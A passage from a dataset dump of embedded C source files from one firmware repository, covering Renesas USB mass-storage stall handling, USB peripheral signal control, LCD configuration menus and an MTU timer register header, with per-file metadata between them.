usb_hmsc_StallErr(USB_UTR_t *ptr)\n{\n uint16_t drvnum, msgnum, result;\n uint16_t hub_addr,hub_port_no;\n USB_ER_t err,err2;\n USB_MH_t p_blf;\n USB_UTR_t *cp;\n USB_UTR_t devadr;\n\n drvnum = usb_ghmsc_RootDrive[ptr->ip];\n result = ptr->status;\n msgnum = usb_hmsc_SmpDrive2Msgnum(ptr, drvnum);\n if( USB_ERROR == msgnum )\n {\n return;\n }\n\n switch( usb_shmsc_StallErrSeq[ptr->ip] )\n {\n case USB_SEQ_0:\n drvnum = ptr->keyword;\n /* Device address set */\n usb_hmsc_SmpDrive2Addr( drvnum, &devadr );\n\n /* Get connected Hub address from Device address. */\n hub_addr = R_usb_hhub_get_hub_addr(ptr, devadr.keyword);\n\n /* Get connected Hub port number from Device address. */\n hub_port_no = R_usb_hhub_get_hub_port_no(ptr, devadr.keyword);\n\n /* Transfer Get Port Status when get Hub address and connected Hub port no. */\n if( (hub_addr != USB_ERROR) && (hub_port_no != USB_ERROR) )\n {\n /* Get Port Status(GET_STATUS) */\n R_usb_hhub_GetPortInformation(ptr, hub_addr, hub_port_no, (USB_CB_t)usb_hmsc_CheckResult );\n usb_shmsc_StallErrSeq[ptr->ip] = USB_SEQ_4;\n }\n else\n {\n usb_ghmsc_RootDrive[ptr->ip] = drvnum;\n\n err = R_usb_hmsc_MassStorageReset(ptr, drvnum, (USB_CB_t)usb_hmsc_CheckResult);\n /* Control Transfer overlaps */\n if( err == USB_E_QOVR )\n {\n /* Resend message */\n err = R_USB_PGET_BLK(USB_HMSC_MPL, &p_blf);\n if( err == USB_E_OK )\n {\n cp = (USB_UTR_t*)p_blf;\n cp->msginfo = ptr -> msginfo;\n cp->keyword = ptr -> keyword;\n cp->status = ptr -> status;\n\n cp->ip = ptr->ip;\n cp->ipp = ptr->ipp;\n\n /* Send message */\n err = USB_SND_MSG(USB_HMSC_MBX, (USB_MSG_t*)p_blf);\n if( err != USB_E_OK )\n {\n USB_PRINTF1(\"### StallErr snd_msg error (%ld)\\n\", err);\n err2 = R_USB_REL_BLK(USB_HMSC_MPL, (USB_MH_t)p_blf);\n if( err2 != USB_E_OK )\n {\n USB_PRINTF1(\"### StallErr rel_blk error (%ld)\\n\", err2);\n }\n }\n }\n else\n {\n USB_PRINTF1(\"### StallErr pget_blk error (%ld)\\n\", err);\n }\n }\n else\n {\n /* Control Transfer not overlaps */\n usb_shmsc_StallErrSeq[ptr->ip]++;\n }\n }\n break;\n\n case USB_SEQ_1:\n usb_hmsc_MassStorageResetCheck(ptr, result);\n R_usb_hmsc_ClearStall(ptr, (uint16_t)USB_DATA_NONE, msgnum,\n usb_hmsc_CheckResult);\n usb_shmsc_StallErrSeq[ptr->ip]++;\n break;\n case USB_SEQ_2:\n usb_hmsc_ClearStallCheck(ptr, result);\n R_usb_hmsc_ClearStall(ptr, (uint16_t)USB_DATA_OK, msgnum,\n usb_hmsc_CheckResult);\n usb_shmsc_StallErrSeq[ptr->ip]++;\n break;\n case USB_SEQ_3:\n usb_hmsc_ClearStallCheck(ptr, result);\n if( ptr->msginfo == USB_MSG_HMSC_CSW_PHASE_ERR )\n {\n result = USB_HMSC_CSW_PHASE_ERR;\n }\n else\n {\n result = USB_HMSC_CBW_ERR;\n }\n usb_hmsc_CommandResult(ptr, result);\n usb_shmsc_StallErrSeq[ptr->ip] = USB_SEQ_0;\n break;\n\n case USB_SEQ_4:\n drvnum = (uint16_t)ptr->usr_data; /* Device no. set */\n /* Device address set */\n usb_hmsc_SmpDrive2Addr( drvnum, &devadr );\n\n /* Get connected Hub address from Device address. */\n hub_addr = R_usb_hhub_get_hub_addr(ptr, devadr.keyword);\n\n /* Check device connect status for after transfer complete GET_STATUS(Get Port Status) */\n if( R_usb_hhub_chk_connect_status(ptr, hub_addr) == USB_DEV_NO_CONNECT )\n {\n if( ptr->msginfo == USB_MSG_HMSC_CSW_PHASE_ERR )\n {\n result = USB_HMSC_CSW_PHASE_ERR;\n }\n else\n {\n result = USB_HMSC_CBW_ERR;\n }\n usb_hmsc_CommandResult(ptr, result);\n usb_shmsc_StallErrSeq[ptr->ip] = USB_SEQ_0;\n }\n else\n {\n usb_ghmsc_RootDrive[ptr->ip] = drvnum;\n\n err = R_usb_hmsc_MassStorageReset(ptr, drvnum, (USB_CB_t)usb_hmsc_CheckResult);\n /* Control Transfer overlaps */\n if( err == USB_E_QOVR )\n {\n /* Resend message */\n err = R_USB_PGET_BLK(USB_HMSC_MPL, &p_blf);\n if( err == USB_E_OK )\n {\n cp = (USB_UTR_t*)p_blf;\n cp->msginfo = ptr -> msginfo;\n cp->keyword = ptr -> keyword;\n cp->status = ptr -> status;\n\n cp->ip = ptr->ip;\n cp->ipp = ptr->ipp;\n\n /* Send message */\n err = R_USB_SND_MSG(USB_HMSC_MBX, (USB_MSG_t*)p_blf);\n if( err != USB_E_OK )\n {\n USB_PRINTF1(\"### StallErr snd_msg error (%ld)\\n\", err);\n err2 = R_USB_REL_BLK(USB_HMSC_MPL, (USB_MH_t)p_blf);\n if( err2 != USB_E_OK )\n {\n USB_PRINTF1(\"### StallErr rel_blk error (%ld)\\n\", err2);\n }\n }\n }\n else\n {\n USB_PRINTF1(\"### StallErr pget_blk error (%ld)\\n\", err);\n }\n }\n else\n {\n /* Control Transfer not overlaps */\n usb_shmsc_StallErrSeq[ptr->ip] = USB_SEQ_1;\n }\n }\n break;\n\n default:\n if( ptr->msginfo == USB_MSG_HMSC_CSW_PHASE_ERR )\n {\n result = USB_HMSC_CSW_PHASE_ERR;\n }\n else\n {\n result = USB_HMSC_CBW_ERR;\n }\n usb_hmsc_CommandResult(ptr, result);\n usb_shmsc_StallErrSeq[ptr->ip] = USB_SEQ_0;\n break;\n }\n} /* eof usb_hmsc_StallErr() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_DataStall\nDescription : HMSC Data Stall\nArguments : USB_UTR_t *mess : \nReturn value : none\n******************************************************************************/\nvoid usb_hmsc_DataStall(USB_UTR_t *mess)\n{\n uint16_t result, status, drvnum, msgnum, hmsc_retval;\n USB_CLSINFO_t *ptr;\n\n drvnum = usb_ghmsc_RootDrive[mess->ip];\n ptr = (USB_CLSINFO_t*)mess;\n result = ptr->result;\n status = mess->status;\n\n msgnum = usb_hmsc_SmpDrive2Msgnum(mess, drvnum);\n if( USB_ERROR == msgnum )\n {\n return;\n }\n\n switch( usb_shmsc_DataStallSeq[mess->ip] )\n {\n case USB_SEQ_0:\n drvnum = mess->keyword;\n usb_ghmsc_RootDrive[mess->ip] = drvnum;\n\n R_usb_hmsc_ClearStall(mess, (uint16_t)USB_DATA_OK, msgnum, usb_hmsc_CheckResult);\n usb_shmsc_Process[mess->ip] = USB_MSG_HMSC_DATA_STALL;\n usb_shmsc_DataStallSeq[mess->ip]++;\n break;\n case USB_SEQ_1:\n usb_hmsc_ClearStallCheck(mess, status);\n usb_hmsc_GetCsw(mess, drvnum);\n usb_shmsc_Process[mess->ip] = USB_MSG_HMSC_DATA_STALL;\n mess->msginfo = usb_shmsc_Process[ptr->ip];\n usb_hmsc_SpecifiedPath((USB_CLSINFO_t *)mess);\n usb_shmsc_DataStallSeq[mess->ip]++;\n break;\n case USB_SEQ_2:\n usb_hmsc_GetCswReq(mess, drvnum);\n usb_shmsc_Process[mess->ip] = USB_MSG_HMSC_DATA_STALL;\n usb_shmsc_DataStallSeq[mess->ip]++;\n break;\n case USB_SEQ_3:\n hmsc_retval = usb_hmsc_GetCswCheck(mess, drvnum,result);\n switch( hmsc_retval )\n {\n case USB_HMSC_OK:\n if( usb_ghmsc_CswErrRoop[mess->ip] == USB_ON )\n {\n usb_ghmsc_CswErrRoop[mess->ip] = USB_OFF;\n hmsc_retval = USB_HMSC_CSW_ERR;\n }\n usb_hmsc_CommandResult(mess, hmsc_retval);\n break;\n case USB_HMSC_CSW_ERR:\n USB_PRINTF1(\"*** DataOUT : CSW-NG(drive:%d) \\n\", drvnum);\n usb_ghmsc_CswErrRoop[mess->ip] = USB_ON;\n drvnum = usb_ghmsc_RootDrive[mess->ip];\n R_usb_hmsc_RequestSense(mess, drvnum, (uint8_t*)usb_ghmsc_Data[mess->ip]);\n break;\n case USB_MSG_HMSC_DATA_STALL:\n usb_shmsc_Process[mess->ip] = USB_MSG_HMSC_CSW_PHASE_ERR;\n mess->keyword = drvnum;\n mess->msginfo = usb_shmsc_Process[ptr->ip];\n usb_hmsc_SpecifiedPath((USB_CLSINFO_t *)mess);\n USB_PRINTF1(\"*** DataOUT : Phase error(drive:%d) \\n\", drvnum);\n break;\n default:\n if( usb_ghmsc_CswErrRoop[mess->ip] == USB_ON )\n {\n usb_ghmsc_CswErrRoop[mess->ip] = USB_OFF;\n hmsc_retval = USB_HMSC_CSW_ERR;\n }\n USB_PRINTF1(\"### DataOUT : GetCSW error(drive:%d) \\n\", drvnum);\n usb_hmsc_CommandResult(mess, hmsc_retval);\n break;\n }\n usb_shmsc_DataStallSeq[mess->ip] = USB_SEQ_0;\n break;\n default:\n usb_hmsc_CommandResult(mess,USB_HMSC_CSW_ERR);\n usb_shmsc_DataStallSeq[mess->ip] = USB_SEQ_0;\n break;\n }\n} /* eof usb_hmsc_DataStall() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_CommandResult\nDescription : Hub class check result\nArguments : uint16_t result : Result\nReturn value : none\n******************************************************************************/\nvoid usb_hmsc_CommandResult(USB_UTR_t *ptr, uint16_t result)\n{\n USB_MH_t p_blf;\n USB_ER_t err;\n USB_CLSINFO_t *cp;\n \n /* Get mem pool blk */\n if( R_USB_PGET_BLK(USB_HSTRG_MPL,&p_blf) == USB_E_OK )\n {\n cp = (USB_CLSINFO_t*)p_blf;\n cp->msginfo = usb_shmsc_StrgProcess[ptr->ip];\n cp->result = result;\n\n cp->ip = ptr->ip;\n cp->ipp = ptr->ipp;\n\n /* Send message */\n err = R_USB_SND_MSG( USB_HSTRG_MBX, (USB_MSG_t*)p_blf );\n if( err != USB_E_OK )\n {\n err = R_USB_REL_BLK(USB_HSTRG_MPL,(USB_MH_t)p_blf);\n USB_PRINTF0(\"### CheckResult function snd_msg error\\n\");\n }\n }\n else\n {\n USB_PRINTF0(\"### CheckResult function pget_blk error\\n\");\n }\n} /* eof usb_hmsc_CommandResult() */\n\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.4306645095348358, "alphanum_fraction": 0.440778911113739, "avg_line_length": 40.16342544555664, "blob_id": "36b0095043025634479d48f1d47de91bae43c9d8", "content_id": "7668e13d49493e0f87a56fe80d934cb1a2c31c84", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 10579, "license_type": "no_license", "max_line_length": 120, "num_lines": 257, "path": "/r_usb_basic/src/driver/peri/r_usb_psignal.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_psignal.c\n* Description : USB Peripheral signal control code\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Added RX71M.\n***********************************************************************************************************************/\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_reg_access.h\"\n\n\n#if (USB_FUNCSEL_USBIP0_PP == USB_PERI_PP) || (USB_FUNCSEL_USBIP1_PP == USB_PERI_PP)\n\n/******************************************************************************\nExternal variables and functions\n******************************************************************************/\nextern uint16_t usb_gpstd_intsts0;\n\nuint16_t usb_pstd_InitFunction(USB_UTR_t *ptr);\n\n/******************************************************************************\nRenesas Abstracted Peripheral signal control functions\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_DpEnable\nDescription : D+ Line Pull-up Enable\nArguments : USB_UTR_t *ptr : USB system internal structure.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_DpEnable(USB_UTR_t *ptr)\n{\n\n usb_preg_set_dprpu( ptr );\n\n}\n/******************************************************************************\nEnd of function usb_pstd_DpEnable\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_DpDisable\nDescription : D+ Line Pull-up Disable\nArguments : USB_UTR_t *ptr : USB system internal structure.\nReturn value : none\n**************************************************************************/\nvoid usb_pstd_DpDisable(USB_UTR_t *ptr)\n{\n\n usb_preg_clr_dprpu( ptr );\n\n}\n/******************************************************************************\nEnd of function usb_pstd_DpDisable\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_BusReset\nDescription : A USB bus reset was issued by the host. Execute relevant pro-\n : cessing.\nArguments : USB_UTR_t *ptr : USB system internal structure.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_BusReset(USB_UTR_t *ptr)\n{\n uint16_t connect_info;\n\n /* Bus Reset */\n usb_pstd_BusresetFunction(ptr);\n\n /* Memory clear */\n usb_pstd_ClearMem();\n connect_info = usb_cstd_PortSpeed(ptr, (uint16_t)USB_PORT0);\n /* Callback */\n#ifdef USB_PERI_BC_ENABLE\n (*usb_gpstd_Driver.devdefault)(ptr, connect_info, (uint16_t)g_usb_bc_detect);\n#else\n (*usb_gpstd_Driver.devdefault)(ptr, connect_info, (uint16_t)USB_NO_ARG);\n#endif\n /* DCP configuration register (0x5C) */\n usb_creg_write_dcpcfg( ptr, 0 );\n /* DCP maxpacket size register (0x5E) */\n usb_creg_write_dcpmxps( ptr, usb_gpstd_Driver.devicetbl[USB_DEV_MAX_PKT_SIZE]);\n}\n/******************************************************************************\n End of function usb_pstd_BusReset\n ******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_InitConnect\nDescription : Set up interrupts and initialize.\nArguments : USB_UTR_t *ptr : USB system internal structure.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_InitConnect(USB_UTR_t *ptr)\n{\n uint16_t connect_info;\n\n /* Interrupt enable */\n usb_pstd_InterruptEnable(ptr);\n usb_cstd_SetHse(ptr, (uint16_t)USB_PORT0, usb_gcstd_HsEnable[ptr->ip]);\n\n usb_creg_set_cnen( ptr );\n connect_info = usb_pstd_InitFunction( ptr );\n \n switch( connect_info )\n {\n /* Attach host controller */\n case USB_ATTACH:\n usb_pstd_AttachProcess(ptr);\n break;\n /* Detach host controller */\n case USB_DETACH:\n usb_pstd_DetachProcess(ptr);\n break;\n default:\n break;\n }\n}\n/******************************************************************************\nEnd of function usb_pstd_InitConnect\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_AttachProcess\nDescription : USB attach setting.\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_AttachProcess(USB_UTR_t *ptr)\n{\n usb_pstd_AttachFunction( ptr );\n usb_cpu_DelayXms((uint16_t)10);\n#ifdef USB_PERI_BC_ENABLE\n usb_pstd_bc_detect_process(ptr);\n#endif /* USB_PERI_BC_ENABLE */\n usb_preg_set_dprpu( ptr );\n\n}\n/******************************************************************************\nEnd of function usb_pstd_AttachProcess\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_DetachProcess\nDescription : Initialize USB registers for detaching, and call the callback\n : function that completes the detach.\nArguments : USB_UTR_t *ptr : USB system internal structure.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_DetachProcess(USB_UTR_t *ptr)\n{\n uint16_t i, conf;\n uint16_t *tbl;\n\n usb_creg_clr_cnen( ptr );\n /* Pull-up disable */\n usb_preg_clr_dprpu( ptr );\n usb_cpu_Delay1us((uint16_t)2);\n usb_creg_set_dcfm( ptr );\n usb_cpu_Delay1us((uint16_t)1);\n usb_creg_clr_dcfm( ptr );\n\n conf = usb_gpstd_ConfigNum;\n if( conf < (uint16_t)1 )\n {\n /* Address state */\n conf = (uint16_t)1;\n }\n\n /* Configuration number */\n usb_gpstd_ConfigNum = 0;\n /* Remote wakeup enable flag */\n usb_gpstd_RemoteWakeup = USB_NO;\n\n /* INTSTS0 clear */\n usb_gpstd_intsts0 = 0;\n\n tbl = usb_gpstd_Driver.pipetbl[conf - 1];\n for( i = 0; tbl[i] != USB_PDTBLEND; i += USB_EPL )\n {\n usb_cstd_ForcedTermination(ptr, tbl[i], (uint16_t)USB_DATA_STOP);\n usb_cstd_ClrPipeCnfg(ptr, tbl[i]);\n }\n /* Callback */\n (*usb_gpstd_Driver.devdetach)(ptr, (uint16_t)USB_NO_ARG, (uint16_t)USB_NO_ARG);\n usb_cstd_StopClock(ptr);\n}\n/******************************************************************************\nEnd of function usb_pstd_DetachProcess\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_SuspendProcess\nDescription : Perform a USB peripheral suspend.\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_SuspendProcess(USB_UTR_t *ptr)\n{\n uint16_t intsts0, buf;\n\n /* Resume interrupt enable */\n usb_preg_set_enb_rsme( ptr );\n\n intsts0 = usb_creg_read_intsts( ptr );\n buf = usb_creg_read_syssts( ptr, USB_PORT0 );\n if(((intsts0 & USB_DS_SUSP) != (uint16_t)0) && ((buf & USB_LNST) == USB_FS_JSTS))\n {\n /* Suspend */\n usb_cstd_StopClock(ptr);\n usb_pstd_SuspendFunction(ptr);\n /* Callback */\n (*usb_gpstd_Driver.devsuspend)(ptr, (uint16_t)usb_gpstd_RemoteWakeup, (uint16_t)USB_NO_ARG);\n }\n /* --- SUSPEND -> RESUME --- */\n else\n {\n /* RESM status clear */\n usb_preg_clr_sts_resm( ptr );\n /* RESM interrupt disable */\n usb_preg_clr_enb_rsme( ptr );\n }\n}\n/******************************************************************************\nEnd of function usb_pstd_SuspendProcess\n******************************************************************************/\n\n#endif /* (USB_FUNCSEL_USBIP0_PP == USB_PERI_PP) || (USB_FUNCSEL_USBIP1_PP == USB_PERI_PP) */\n\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.6747680306434631, "alphanum_fraction": 0.6822801828384399, "avg_line_length": 19.76146697998047, "blob_id": "b658bf5cb15cf7ed9113e34c85bc1acaa1deb64c", "content_id": "d4651a308231502fdf0c05749d5e67e03ffde5b7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2263, "license_type": "no_license", "max_line_length": 69, "num_lines": 109, "path": "/src/states/ut_state_config_menu.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * ut_state_config_menu.c\n *\n * Created on: Dec 6, 2015\n * Author: Fernando\n */\n\n#include \"ut_context.h\"\n#include \"ut_state.h\"\n#include \"ut_state_config_var.h\"\n#include \"eeprom.h\"\n#include \"config_menu_ox.h\"\n#include \"config_menu_pl.h\"\n\n\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n\n#include \"keyboard.h\"\n#include \"interpreter_if.h\"\n\n#include \"lcd.h\"\n#include \"lcd_menu.h\"\n\n#define DEFAULT_CONFIG_TIMEOUT\tportMAX_DELAY\n\n\nstatic const char* gszConfigMenuTitle = \"CONFIG. DE CORTE\";\n\n/**\n * Shows a configuration menu for the machine.\n *\n * @param pContext Context object\n * @return Main menu state\n */\nut_state ut_state_config_menu_ox(ut_context* pContext)\n{\n\tut_menu config_menu;\n\tuint8_t i;\n\n\t/* Initialize variables */\n\tinitOx();\n\n\t/* Initialize menu */\n\tut_menu_init(&config_menu);\n\n\t/* Options */\n\tconfig_menu.title = gszConfigMenuTitle;\n\tconfig_menu.currentState = STATE_CONFIG_MENU_OX;\n//\tconfig_menu.offset = 1;\n\t/* Items */\n\tfor(i = 0; i < OX_CONFIG_MAX; i++)\n\t{\n\t\tconfig_menu.items[config_menu.numItems++].text = configsOx[i].name;\n\t}\n\n\t/* Show menu */\n\tconfig_menu.selectedItem = 0;\n\tif(ut_menu_browse(&config_menu, DEFAULT_CONFIG_TIMEOUT) < 0)\n\t{\n\t\treturn STATE_MAIN_MENU;\n\t}\n\teepromReadConfig(CONFIGVAR_OX);\n\t/* Set selected item */\n\tpContext->value[0] = STATE_CONFIG_MENU_OX;\n\tconfigsVar = &configsOx[config_menu.selectedItem];\n\treturn STATE_CONFIG_VAR;\n}\n\n/**\n * Shows a configuration menu for the machine.\n *\n * @param pContext Context object\n * @return Main menu state\n */\nut_state ut_state_config_menu_pl(ut_context* pContext)\n{\n\tut_menu config_menu;\n\tuint8_t i;\n\n\t/* Initialize variables */\n\tinitPl();\n\n\t/* Initialize menu */\n\tut_menu_init(&config_menu);\n\n\t/* Options */\n\tconfig_menu.title = gszConfigMenuTitle;\n\tconfig_menu.currentState = STATE_CONFIG_MENU_PL;\n//\tconfig_menu.offset = 1;\n\t/* Items */\n\tfor(i = 0; i < PL_CONFIG_MAX; i++)\n\t{\n\t\tconfig_menu.items[config_menu.numItems++].text = configsPl[i].name;\n\t}\n\n\t/* Show menu */\n\tconfig_menu.selectedItem = 0;\n\tif(ut_menu_browse(&config_menu, DEFAULT_CONFIG_TIMEOUT) < 0)\n\t{\n\t\treturn STATE_MAIN_MENU;\n\t}\n\n\t/* Set selected item */\n\teepromReadConfig(CONFIGVAR_PL);\n\tpContext->value[0] = STATE_CONFIG_MENU_PL;\n\tconfigsVar = &configsPl[config_menu.selectedItem];\n\treturn STATE_CONFIG_VAR;\n}\n" }, { "alpha_fraction": 0.48649778962135315, "alphanum_fraction": 0.519775390625, "avg_line_length": 46.82285690307617, "blob_id": "34d6362d0b0d1c1767a75c85277d80450f5e95a3", "content_id": "c43ec476b68afd67c61760d6c7bf9cf2a597fcca", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 16738, "license_type": "no_license", "max_line_length": 120, "num_lines": 350, "path": "/r_mtu_rx/src/r_mtu_rx_private.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014 Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_mtu_pwm_rx_private.h\n* Version : 1.00\n* Device(s) : Renesas RX Family\n* Tool-Chain : Renesas RX Standard Toolchain\n* H/W Platform :\n* Description : Private definitions for the RX FIT IRQ support module.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 30.09.2014 1.00 First Release\n\n***********************************************************************************************************************/\n#ifndef R_MTU_PRIVATE_H_\n#define R_MTU_PRIVATE_H_\n\n#include \"platform.h\"\n\n/******************************************************************************\nTypedef definitions\n******************************************************************************/\ntypedef void(*mtu_callback)(void *pargs);\n\n#define MTU_BIT0 (0x01)\n#define MTU_BIT1 (0x02)\n#define MTU_BIT2 (0x04)\n#define MTU_BIT3 (0x08)\n#define MTU_BIT4 (0x10)\n#define MTU_BIT5 (0x20)\n#define MTU_BIT6 (0x40)\n#define MTU_BIT7 (0x80)\n\n#define MTU_NOT_SUPP (0xFF) // A value used to mark register settings table entries where setting not available.\n\ntypedef enum\n{\n MTU_TGIEA = MTU_BIT0, // TGR Interrupt Enable A\n MTU_TGIEB = MTU_BIT1, // TGR Interrupt Enable B\n MTU_TGIEC = MTU_BIT2, // TGR Interrupt Enable C\n MTU_TGIED = MTU_BIT3, // TGR Interrupt Enable D\n MTU_TCIEV = MTU_BIT4, // Overflow Interrupt Enable\n MTU_TCIEU = MTU_BIT5, // Underflow Interrupt Enable\n MTU_TTGE2 = MTU_BIT6, // A/D Converter Start Request Enable\n MTU_TTGE = MTU_BIT7 // A/D Converter Start Request Enable\n} mtu_int_src_t;\n\ntypedef enum mtu_filter_en_e\n{\n MTU_FILT_EN_A = MTU_BIT0,\n MTU_FILT_EN_B = MTU_BIT1,\n MTU_FILT_EN_C = MTU_BIT2,\n MTU_FILT_EN_D = MTU_BIT3\n} mtu_filter_en_t;\n\n/* Create a standardized structure for MTU register addresses used in this module to cover all channels. */\ntypedef struct mtu_timer_regs_s\n{\n volatile __evenaccess unsigned char *tcr; // TCR\n volatile __evenaccess unsigned char *tmdr; // TMDR\n volatile __evenaccess unsigned char *tiorh; // TIORH or TIOR\n volatile __evenaccess unsigned char *tiorl; // TIORL\n volatile __evenaccess unsigned char *tier; // TIER\n volatile __evenaccess unsigned char *tbtm; // TBTM\n volatile __evenaccess unsigned char *nfcr; // NFCR\n volatile __evenaccess unsigned short *tcnt; // TCNT\n volatile __evenaccess unsigned short *tgra; // TGRA\n volatile __evenaccess unsigned short *tgrb; // TGRB\n volatile __evenaccess unsigned short *tgrc; // TGRC\n volatile __evenaccess unsigned short *tgrd; // TGRD\n volatile __evenaccess unsigned short *tgre; // TGRE\n volatile __evenaccess unsigned short *tgrf; // TGRF\n volatile __evenaccess unsigned char *ir; // Interrupt Request register\n volatile __evenaccess unsigned char *ien_a; // Interrupt A Enable register\n volatile __evenaccess unsigned char *ien_b; // Interrupt B Enable register\n volatile __evenaccess unsigned char *ien_c; // Interrupt C Enable register\n volatile __evenaccess unsigned char *ien_d; // Interrupt D Enable register\n volatile __evenaccess unsigned char *ipr; // Channel shared Interrupt Priority register\n} mtu_timer_regs_t;\n\n/* configuration and control structure */\ntypedef struct mtu_config_block_s\n{\n mtu_callback *const p_callback; // pointer to callback function pointer.\n mtu_timer_chnl_settings_t * p_mtu_chnl_tmr_settings; // location of variable timer settings struct.\n mtu_timer_regs_t regs;\n uint8_t channel;\n uint8_t priority; // interrupt priority\n uint8_t filt_clk; // input capture noise filter clock source\n} mtu_config_block_t;\n\n/* Abstraction of channel handle data structure. */\ntypedef struct mtu_config_block_s *mtu_handle_t;\n\ntypedef struct mtu_tcr_reg_s\n{\n struct\n {\n uint8_t tpsc:3;\n uint8_t ckeg:2;\n uint8_t cclr:3;\n } bits;\n} mtu_tcr_reg_t;\n\ntypedef enum\n{\n MTU_TSTR_CH0 = MTU_BIT0,\n MTU_TSTR_CH1 = MTU_BIT1,\n MTU_TSTR_CH2 = MTU_BIT2,\n MTU_TSTR_CH3 = MTU_BIT6,\n MTU_TSTR_CH4 = MTU_BIT7\n} mtu_tstr_bits_t;\n\n/******************************************************************************\nMacro definitions\n******************************************************************************/\n/* Version Number of API. */\n#define MTU_RX_VERSION_MAJOR (1)\n#define MTU_RX_VERSION_MINOR (00)\n\n/* Define register addresses assigned to each MTU register. */\n#define MTU0_REGS { &MTU0.TCR.BYTE, \\\n &MTU0.TMDR.BYTE, \\\n &MTU0.TIORH.BYTE, \\\n &MTU0.TIORL.BYTE, \\\n &MTU0.TIER.BYTE, \\\n &MTU0.TBTM.BYTE, \\\n &MTU0.NFCR.BYTE, \\\n &MTU0.TCNT, \\\n &MTU0.TGRA, \\\n &MTU0.TGRB, \\\n &MTU0.TGRC, \\\n &MTU0.TGRD, \\\n &MTU0.TGRE, \\\n &MTU0.TGRF, \\\n &(ICU.IR[IR_MTU0_TGIA0].BYTE), \\\n &(ICU.IER[IER_MTU0_TGIA0].BYTE), \\\n &(ICU.IER[IER_MTU0_TGIB0].BYTE), \\\n &(ICU.IER[IER_MTU0_TGIC0].BYTE), \\\n &(ICU.IER[IER_MTU0_TGID0].BYTE), \\\n 